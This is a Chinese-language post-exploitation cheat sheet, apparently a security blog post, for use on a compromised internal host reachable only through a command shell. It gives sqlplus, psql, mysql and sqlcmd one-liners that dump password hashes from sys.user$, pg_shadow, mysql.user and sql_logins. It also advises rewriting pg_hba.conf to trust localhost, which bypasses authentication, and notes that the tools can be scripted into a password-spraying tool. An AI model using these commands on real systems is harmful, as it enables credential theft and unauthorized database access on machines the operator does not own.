实战场景说明:
实战中,可能经常会遇到类似这样的问题,比如,内网机脱网,无法进行各种正反向代理转发(或者速度极慢,根本连不上),导致Navicat,SSMS,PLSQL...等各种三方数据库客户端根本无使用条件,再比如,无rdp操作条件,只有一个cmdshell / bash, 但最终目的也只是想在库中快速进行一些账号密码搜集或者脱取库表结构类的简单操作,等等诸如此类吧...
此时,就需要了解关于各主流数据库在cmd/bash下的一些非交付sql执行方式,非常简单,没任何技术含量,只为笔记留存,方便其它弟兄们,注,如下的所有工具均为各自数据库内置工具,不依赖任何第三方外部工具( 即使数据库没装亦把对应的命令行客户端拆出来独立使用 ),很灵活
0x01 Oracle
安装用户权限下,无密码非交互执行
tv.sql 语句
select * from v$version;
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
SELECT name,spare4 FROM sys.user$;
exit;
默认在装好oracle以后,sqlplus会被自动写到当前用户的环境下,直接执行即可
# echo SELECT name,spare4 FROM sys.user$; | sqlplus "/ as sysdba"
# sqlplus "/ as sysdba" @c:tv.sql > c:Userspublicsimlog.logs
0x02 Postgresql
服务安装用户权限下,无密码非交互执行,修改目标服务配置文件(pg_hba.conf),对127.0.0.1进行trust,之后再想办法覆盖目标原有配置文件[Win下比较特殊,无需重启服务,即时生效]
tv.sql语句
select version();
SELECT usename FROM pg_user WHERE usesuper IS TRUE;
SELECT usename, passwd FROM pg_shadow;
PgSQL在装好之后,默认并没有把PSQL没写到当前用户环境变量下,故需要自行指定绝对路径执行
# echo SELECT usename, passwd FROM pg_shadow; | C:SRVPgSQL9.4.24binpsql -h 127.0.0.1 -p 5432 -U postgres
# C:SRVPgSQL9.4.24binpsql -h 127.0.0.1 -p 5432 -U postgres < c:tv.sql
0x03 Mysql 带账密非交互执行
tv.sql 语句
select @@version;
select user,host,password from mysql.user;
一般情况下,在安装Mysql时都会顺手把环境变量选项勾上,故直接执行即可,如遇未添加环境变量,找到目标mysql安装目录下的bin目录指定绝对路径执行即可
# mysql -uroot -p"abc123" -D Mysql <c:tv.sql
# mysql -uroot -p"abc123" -D Mysql -e "select user,host,password from mysql.userG;select version()G;";
0x04 SqlServer 带账密非交互执行
tv.sql 语句
select @@version;
SELECT name, password_hash FROM master.sys.sql_logins;
Mssql安装完后,默认都会把sqlcmd添加到当前用户环境变量下,故直接执行即可
# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -i "C:tv.sql"
# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -Q " SELECT name, password_hash FROM master.sys.sql_logins;"
小结:
非常简单,不再赘述,其实有些工具稍微灵活配合bat/sh,转身一变就是个服务喷射工具,非常适用于某些特殊场景下,还是那初衷,一篇文章只解决一个小问题,不想掺杂太多废话,祝好运
如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢
另外,也非常期待能和更多真正志同道合弟兄一起深入交流学习,( 还是那句话,维护不易,乱七八糟的人就不要来了,非常感谢 )
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论